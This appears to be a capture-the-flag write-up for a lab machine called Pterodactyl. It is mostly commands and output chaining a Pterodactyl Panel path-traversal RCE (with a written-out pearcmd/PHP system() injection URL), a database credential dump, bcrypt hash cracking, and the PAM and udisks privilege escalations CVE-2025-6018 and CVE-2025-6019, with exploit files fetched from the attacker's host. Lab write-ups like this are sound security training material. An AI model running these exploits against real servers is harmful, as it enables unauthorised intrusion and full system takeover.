Pterodactyl

Tools

  • ffuf
  • hashcat

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ sudo nmap -sC -sV -p22,80,443,8080 10.129.73.168
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-07 14:14 EST
Nmap scan report for 10.129.73.168
Host is up (1.9s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_ 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open http nginx 1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5
443/tcp closed https
8080/tcp closed http-proxy

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.20 seconds

Foothold

first lets add the vhost to our hosts file

1
$ echo '10.129.73.168 pterodactyl.htb' | sudo tee -a /etc/hosts

at first glance, its a Minecraft community site advertising a minecraft server ip on play.pterodactyl.htb
lets add the subdomain to our hosts file

1
$ echo '10.129.73.168 play.pterodactyl.htb' | sudo tee -a /etc/hosts

visiting play.pterodactyl.htb redirect me to pterodactyl.htb

i enumerated directories using ffuf and found /phpinfo.php
which shows us the web stack and configurations of the website

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ffuf -c -u http://pterodactyl.htb/FUZZ -w /usr/share/dirb/wordlists/common.txt -fs 153

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://pterodactyl.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/dirb/wordlists/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 153
________________________________________________

[Status: 200, Size: 1686, Words: 429, Lines: 55, Duration: 232ms]
index.php [Status: 200, Size: 1686, Words: 429, Lines: 55, Duration: 122ms]
phpinfo.php [Status: 200, Size: 73024, Words: 3592, Lines: 828, Duration: 129ms]
:: Progress: [4614/4614] :: Job [1/1] :: 264 req/sec :: Duration: [0:00:17] :: Errors: 0 ::

next, i enumerated subdomains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -c -u http://pterodactyl.htb/ -H 'Host: FUZZ.pterodactyl.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 145

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://pterodactyl.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.pterodactyl.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 145
________________________________________________

panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 446ms]
:: Progress: [4989/4989] :: Job [1/1] :: 275 req/sec :: Duration: [0:00:18] :: Errors: 0 ::

we found panel
let’s add that to our hosts file

1
$ echo '10.129.73.168 panel.pterodactyl.htb' | sudo tee -a /etc/hosts

upon visiting the panel, i see its using Pterodactyl Panel, an open-source game server managemnt panel built with PHP, React and Go

looking for vulnerabilities, i found that there’s a vulnerable to CVE-2025-49132 in versions < 1.11 which allows us to allows unauthenticated arbitrary RCE
I couldn’t find the version of our Pterodactyl Panel so i would have to test to see if it’s vulnerable

the exploit works by /locales/locale.json with the locale and namespace query parameters

let’s use this PoC which retrieves the database credentials for us

1
2
3
4
$ wget https://www.exploit-db.com/raw/52341 

$ python3 52341 http://panel.pterodactyl.htb
http://panel.pterodactyl.htb/ => pterodactyl:PteraPanel@127.0.0.1:3306/panel

going to http://panel.pterodactyl.htb/locales/locale.json?locale=../../&namespace=config/app we can find the app key

1
base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY=

to exploit this CVE and get RCE we can use pearcmd
we can use this RCE PoC
if we go to .phpinfo we can see that pearcmd is in a different folder from the one specified in this PoC

1
2
# .phpinfo
include_path .:/usr/share/php8:/usr/share/php/PEAR

so let’s edit poc.py and change this /usr/local/lib/php to /usr/share/php/PEAR

1
2
3
4
5
# before
os.system(f"curl \"http://{host}/locales/locale.json?+config-create+/&locale=../../../../../usr/local/lib/php&namespace=pearcmd&/<?=system('{payload}')?>+/tmp/payload.php\"")

# after
os.system(f"curl \"http://{host}/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system('{payload}')?>+/tmp/payload.php\"")

now we can perform RCE

since we have the DB credentials i can use that to enumerate the database

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ python poc.py panel.pterodactyl.htb 'mysql -h 127.0.0.1 -P 3306 -u pterodactyl -pPteraPanel panel -e \"SHOW TABLES;\"'


# we can see this somewhere in between all the html
activity_log_subjects
activity_logs
allocations
api_keys
api_logs
audit_logs
backups
database_hosts
databases
egg_mount
egg_variables
eggs
failed_jobs
jobs
locations
migrations
mount_node
mount_server
mounts
nests
nodes
notifications
password_resets
recovery_tokens
schedules
server_transfers
server_variables
servers
sessions
settings
subusers
tasks
tasks_log
user_ssh_keys
users

im going to query all users

1
$ python poc.py panel.pterodactyl.htb 'mysql -h 127.0.0.1 -P 3306 -u pterodactyl -pPteraPanel panel -e \"select * from users;\"'

then clean the results with chatgpt

1
2
3
headmonitor     | headmonitor@pterodactyl.htb    | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2

phileasfogg3 | phileasfogg3@pterodactyl.htb | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi

users table contains 2 accounts with passwords encrypted with bcrypt
i’ll attempt to crack them using hashcat

1
$ hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt 

i was able to crack phileasfogg3‘s password

1
2
$ hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx

i can now ssh and get the user flag

1
2
3
4
5
6
$ ssh phileasfogg3@pterodactyl.htb
(phileasfogg3@pterodactyl.htb) Password:
Have a lot of fun...
Last login: Sun Feb 8 16:05:23 2026 from 10.10.16.242
Last login: Sun Feb 8 16:07:38 2026 from 10.10.16.242
phileasfogg3@pterodactyl:~>

Privilege Escalation

phileasfogg3 can run any command as any user but targetpw means we require the target user’s password

1
2
3
4
5
6
7
8
9
phileasfogg3@pterodactyl:~> sudo -l
[sudo] password for phileasfogg3:
Matching Defaults entries for phileasfogg3 on pterodactyl:
always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS
XDG_SESSION_COOKIE", !insults, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw

User phileasfogg3 may run the following commands on pterodactyl:
(ALL) ALL

in env i see the following info

1
2
3
phileasfogg3@pterodactyl:/var/mail> (env || set) 2>/dev/null

MAIL=/var/spool/mail/phileasfogg3

upon inspecting it, its an email is talking about some kind of problem with udisks daemon udisksd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
phileasfogg3@pterodactyl:/var/mail> cat /var/spool/mail/phileasfogg3
From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025
Delivered-To: phileasfogg3@pterodactyl
Received: by pterodactyl (Postfix, from userid 0)
id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)
From: headmonitor headmonitor@pterodactyl
To: All Users all@pterodactyl
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)
Message-ID: 202511070915.headmonitor@pterodactyl
Date: Fri, 07 Nov 2025 09:15:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit

Attention all users,

Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.

Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.

Report any signs of compromise immediately to headmonitor@pterodactyl.htb

— HeadMonitor
System Administrator

after searching, i found this CVE-2025-6019 which lets us escalate privileges

using this PoC , i did the following:
first, i used it to create an xfs.image on my machine and then downloaded the xfs.image file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ sudo ./CVE-2025-6019.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
[+] All dependencies are installed.
[*] Checking for vulnerable libblockdev/udisks versions...
[*] Detected udisks version: unknown
[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown.
[!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks.
[!] Continuing with PoC execution...
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): L
[*] Creating a 300 MB XFS image on local machine...
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied, 0.18524 s, 1.7 GB/s
meta-data=./xfs.image isize=512 agcount=4, agsize=19200 blks
= sectsz=512 attr=2, projid32bit=1
= crc=1 finobt=1, sparse=1, rmapbt=1
= reflink=1 bigtime=1 inobtcount=1 nrext64=1
= exchange=0 metadir=0
data = bsize=4096 blocks=76800, imaxpct=25
= sunit=0 swidth=0 blks
naming =version 2 bsize=4096 ascii-ci=0, ftype=1, parent=0
log =internal log bsize=4096 blocks=16384, version=2
= sectsz=512 sunit=0 blks, lazy-count=1
realtime =none extsz=4096 blocks=0, rtextents=0
= rgcount=0 rgsize=0 extents
= zoned=0 start=0 reserved=0
[+] 300 MB XFS image created: ./xfs.image
[*] Transfer to target with: scp xfs.image <user>@<host>:

next, modified the CVE-2025-6019.sh and removed check_dependencies from line 216 so it doesn’t check for dependencies on the victim’s machine

now i have a xfs.image and CVE-2025-6019.sh that i have to download to the victim’s machine
i started an http server on my machine to serve the files

1
2
$ python -m http.server 80                                           
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

then, downloaded the xfs.image and CVE-2025-6019.sh on the victim’s machine

1
2
3
phileasfogg3@pterodactyl:/tmp> wget 10.10.16.242/CVE-2025-6019.sh

phileasfogg3@pterodactyl:/tmp> wget 10.10.16.242/xfs.image

when running the exploit, it fails because allow_active status not obtained
for this exploit to work, CanReboot must be yes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
phileasfogg3@pterodactyl:/tmp> chmod +x CVE-2025-6019.sh
phileasfogg3@pterodactyl:/tmp> ./CVE-2025-6019.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
[*] Checking for vulnerable libblockdev/udisks versions...
[*] Detected udisks version: unknown
[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown.
[!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks.
[!] Continuing with PoC execution...
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): c
[*] Starting exploitation on target machine...
[*] Checking allow_active status...
[-] Error: allow_active status not obtained. Exploitation may fail.
[-] Try exploiting CVE-2025-6018 first if applicable.

checking CanReboot manually, i see it’s challenge which explains why this exploit fails

1
2
phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
('challenge',)

we can use this vulnerability CVE-2025-6018 which elevates privileges reserved for allow_active users and chain it with CVE-2025-6019 to get root
im going to use this PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ python CVE-2025-6018.py -i pterodactyl.htb -u phileasfogg3 -p \!QAZ2wsx
/usr/lib/python3/dist-packages/paramiko/pkey.py:100: CryptographyDeprecationWarning: TripleDES has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.TripleDES and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
"cipher": algorithms.TripleDES,
/usr/lib/python3/dist-packages/paramiko/transport.py:259: CryptographyDeprecationWarning: TripleDES has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.TripleDES and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
"class": algorithms.TripleDES,
2026-02-08 11:14:31 [WARNING] Use only with proper authorization!
2026-02-08 11:14:31 [INFO] Starting CVE-2025-6018 exploit against pterodactyl.htb:22
2026-02-08 11:14:31 [INFO] Connecting to pterodactyl.htb:22 as phileasfogg3
2026-02-08 11:14:31 [INFO] Connected (version 2.0, client OpenSSH_9.6)
2026-02-08 11:14:34 [INFO] Authentication (publickey) failed.
2026-02-08 11:14:34 [INFO] Authentication (password) successful!
2026-02-08 11:14:34 [INFO] SSH connection established
2026-02-08 11:14:34 [INFO] Starting vulnerability assessment
2026-02-08 11:14:34 [INFO] Executing check: pam_version
2026-02-08 11:14:36 [INFO] Vulnerable PAM version detected: pam-1.3.0
2026-02-08 11:14:37 [INFO] Executing check: pam_env
2026-02-08 11:14:38 [INFO] pam_env.so configuration found
2026-02-08 11:14:38 [INFO] Executing check: pam_systemd
2026-02-08 11:14:39 [INFO] pam_systemd.so found - escalation vector available
2026-02-08 11:14:40 [INFO] Executing check: systemd_version
2026-02-08 11:14:41 [INFO] Target appears vulnerable, proceeding with exploitation
2026-02-08 11:14:41 [INFO] Creating malicious environment file
2026-02-08 11:14:41 [INFO] Writing .pam_environment file
2026-02-08 11:14:43 [INFO] Malicious environment file created successfully
2026-02-08 11:14:43 [INFO] Reconnecting to trigger PAM environment loading
2026-02-08 11:14:46 [INFO] Connected (version 2.0, client OpenSSH_9.6)
2026-02-08 11:14:48 [INFO] Authentication (publickey) failed.
2026-02-08 11:14:48 [INFO] Authentication (password) successful!
2026-02-08 11:14:48 [INFO] Reconnection successful
2026-02-08 11:14:48 [INFO] Testing privilege escalation vectors
2026-02-08 11:14:48 [INFO] Testing: SystemD Reboot
2026-02-08 11:14:50 [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Reboot
2026-02-08 11:14:50 [INFO] Testing: SystemD Shutdown
2026-02-08 11:14:51 [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Shutdown
2026-02-08 11:14:51 [INFO] Testing: PolicyKit Check
2026-02-08 11:14:52 [INFO] No escalation detected: PolicyKit Check
2026-02-08 11:14:52 [INFO] EXPLOITATION SUCCESSFUL - Privilege escalation confirmed
2026-02-08 11:14:52 [INFO] Starting interactive shell session

--- Interactive Shell ---
Commands: 'exit' to quit, 'status' for privilege check
exploit$

after getting the session, im going to run CVE-2025-6019.sh again to chain the exploits
i get a root shell and can now get the root flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
exploit$ exploit$ ./CVE-2025-6019.sh
./CVE-2025-6019.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: exploit$ y
y
[*] Checking for vulnerable libblockdev/udisks versions...
[*] Detected udisks version: unknown
[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown.
[!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks.
[!] Continuing with PoC execution...
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): exploit$ c
c
[*] Starting exploitation on target machine...
[*] Checking allow_active status...
[+] allow_active status confirmed.
[*] Verifying xfs.image integrity...
[*] Stopping gvfs-udisks2-volume-monitor...
[*] Note: gvfs-udisks2-volume-monitor was not running.
[*] Setting up loop device...
[+] Loop device configured: /dev/loop0
[*] Keeping filesystem busy to prevent unmounting...
[+] Background loop started (PID: 11257)
[*] Resizing filesystem to trigger mount...
exploit$ whoami
[+] Mount successful (expected error: target is busy).
[*] Waiting 2 seconds for mount to stabilize...
[*] Checking for SUID bash in /tmp/blockdev*...
[+] SUID bash found: /tmp/blockdev.K8DPK3/bash
-rwsr-xr-x 1 root root 1298416 Feb 8 17:21 /tmp/blockdev.K8DPK3/bash
[*] Executing root shell...
bash-5.2# whoami
root
bash-5.2# exploit$